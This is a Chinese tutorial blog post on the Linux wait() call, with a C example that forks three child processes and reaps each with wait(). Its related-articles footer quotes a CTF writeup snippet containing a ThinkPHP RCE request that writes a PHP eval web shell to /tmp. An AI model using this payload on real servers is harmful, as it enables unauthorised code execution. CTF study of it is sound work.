Linux应用编程---3.wait()函数

news/2025/1/11 7:26:07/

Linux应用编程—3.wait()函数

​ 首先引入三个函数,我们通过在Linux终端下查阅它的作用与使用方法。

​ Linux终端命令下输入:man exit,敲击回车键即可打开exit函数详情页。

image-20221123152203869

图1 exit编程手册

​ exit函数的作用是终止一般进程,没有返回值。默认传入0表示正常退出。

​ Linux终端命令下输入:man perror,敲击回车键即可打开perror函数详情页。

image-20221123155134272

图2 perror编程手册

​ perror用来打印一条系统错误信息。没有返回值,传入参数是字符串类型。

3.1 wait()函数详情

​ Linux终端命令下输入:man wait,敲击回车键即可打开wait函数详情页。

image-20221123155352375

图3 wait编程手册

​ wait函数用来等待进程改变状态,入参是一个int型指针,如果wait函数调用成功,返回值是被终止子进程的id号,如果失败则返回-1。根据该函数的描述可知:wait函数被用于等待调用进程的子进程状态的改变,并获取状态改变的子进程的信息。子进程终止、子进程通过信号终止、子进程通过信号被唤醒。如果一个子进程早已改变,会立即返回,否则,wait函数将阻塞等待子进程状态改变。

​ 总结一下,wait函数就是用来阻塞式监控子进程状态的改变的。

3.2 wait()函数编程

​ wait函数具体是如何监控子进程结束的呢,我们创建3个进程,当然这里不能直接连续调用3次fork函数,否则创建的进程是8个。而是,每一个进程执行一定时间后,主动调用exit函数结束进程。wait函数的调用进程等待子进程结束,然后打印结束子进程的id号,直到没有子进程,使用exit函数终止wait函数的调用进程。

​ 我们即将创建的3个子进程让其分别执行不同的时间后退出。这里我们使用int main(int * argc, char * argv[])。通过向main函数传参来让3个子进程得到自己子进程存在的时间。其中,argc参数表示了入参的个数,argv表示传入的参数。image-20221123175410325

图4 终端下向main函数传参

​ 其中,./a.out是参数1、字符’2’是参数2,'4’是参数3、'8’是参数4,所以,argc = 4,argv[1] = ‘2’; argv[2] = ‘4’; argv[3] = ‘8’;

​ 代码如下:

#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>int main(int argc, char *argv[])
{pid_t pid;int i = 0, numDead;for(i = 1; i < argc; i++)			//创建3个子进程,因为argc = 4,所以i从1开始循环。 {switch(fork()){case -1:perror("fork()\n");exit(0);case 0:printf("Child process %d, pid = %d, sleeping %s seconds.\n", i, getpid(), argv[i]);sleep(atoi(argv[i]));		//atio(),字符转整形exit(0);default:break;}}numDead = 0;while(1){pid = wait(NULL);if(-1 == pid){printf("No more child process!\n");exit(0);}numDead++;printf("wait() return child pid = %d.\n", pid);}return 0;
}

​ 在Linux终端下输入:./a.out 2 4 8

​ 运行结果:

Child process 1, pid = 4666, sleeping 2 seconds.
Child process 2, pid = 4667, sleeping 4 seconds.
Child process 3, pid = 4668, sleeping 8 seconds.
wait() return child pid = 4666.
wait() return child pid = 4667.
wait() return child pid = 4668.
No more child process!

​ 前三条语句同时打印出来,分别是调用进程建立的三个子进程以及其进程id号,子进程1延时2秒后,调用exit(0)函数终止,然后wait()函数检测到其终止,返回子进程1的进程id号。子进程2延时4秒后,调用exit(0)函数终止进程,同样wait()函数检测到其终止,返回子进程1的进程id号。子进程3过程类型进程1和2。当调用进程没有子进程后,wait()函数返回-1,调用进程使用exit(0)函数终止。

3.3 wait()函数总结

​ wait()函数用来等待进程结束,或者说是进程状态改变,属于阻塞式等待。如果等待到子进程终止,返回该进程的id,如果函数调用失败,则返回-1。linux终端下可以向main函数传参,也就是声明main函数时,入口写为这样:int main(int * argc, char *argv[])。其中,argc代表入参的个数,argv代表入参。
在这里插入图片描述


http://www.ppmy.cn/news/10484.html

相关文章

setMouseTacking(true) 没有效果?

描述 一般来讲&#xff0c;我们希望实现在mouseMoveEvent中获取当前鼠标的位置&#xff0c;以触发一些自定义的鼠标hover特效。在这种情形下需要启动mouse tacking才能达到效果&#xff0c;原因是mouseMoveEvent默认是在鼠标按下后才会触发。>> QWidget::mouseMoveEvent…

ArrayList | 简单的洗牌算法

一个洗牌程序需要包含&#xff1a; 创建一副扑克牌&#xff08;除去大小王剩下52张&#xff0c;每种花色13张&#xff09;。洗牌&#xff0c;打乱牌的顺序。揭牌&#xff0c;每位玩家轮流揭牌&#xff0c;从洗完后的牌组中获得自己的牌。因此&#xff0c;我们可以依照以下思路来…

2023 Real World CTF体验赛部分Writeup

web1 Thinkphp lang多语言 RCE漏洞&#xff0c;直接打 GET /index.php?config-create/<?eval($_REQUEST[1]);?>/tmp/keep.php HTTP/1.1 Host: 47.98.124.175:8080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; …

力扣sql入门篇(一)

力扣sql入门篇(一) 1 两人之间的通话天数 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 1.2 示例sql语句 # 两个人之间的通话需要统计成一次 SELECT from_id person1,to_id person2,count(*) call_count,sum(duration) total_duration FROM Calls GROUP BY least(f…

Java之String概述、对象创建原理和常见面试题、String类常用API、案例

目录String、ArrayList前言String简单介绍Arraylist简单介绍String 概述String类的特点详解总结String类创建对象的两种方式两种方式有什么区别吗&#xff1f;总结String常见面试题String类常用API-字符串内容比较总结String类常用API-遍历、替换、截取、分割操作String案例验证…

Ansible 介绍与实战操作演示

文章目录一、概述二、Ansible 架构三、Ansible 工作原理四、Ansible 安装与基础配置1&#xff09;开启记录日志2&#xff09;去掉第一次连接ssh ask确认五、Ansible 的七个命令1&#xff09;ansible2&#xff09;ansible-doc3&#xff09;ansible-playbook4&#xff09;ansible…

数据库,计算机网络、操作系统刷题笔记28

数据库&#xff0c;计算机网络、操作系统刷题笔记28 2022找工作是学历、能力和运气的超强结合体&#xff0c;遇到寒冬&#xff0c;大厂不招人&#xff0c;可能很多算法学生都得去找开发&#xff0c;测开 测开的话&#xff0c;你就得学数据库&#xff0c;sql&#xff0c;oracle…

AtCoder Beginner Contest 284.(A--E)

AtCoder Beginner Contest 284A - Sequence of Strings1、问题2、代码B - Multi Test Cases1、问题2、代码C - Count Connected Components1、问题&#xff1a;2、思路&#xff1a;——并查集、DFS3、代码方法1&#xff1a;并查集方法2&#xff1a;DFSD - Happy New Year 20231…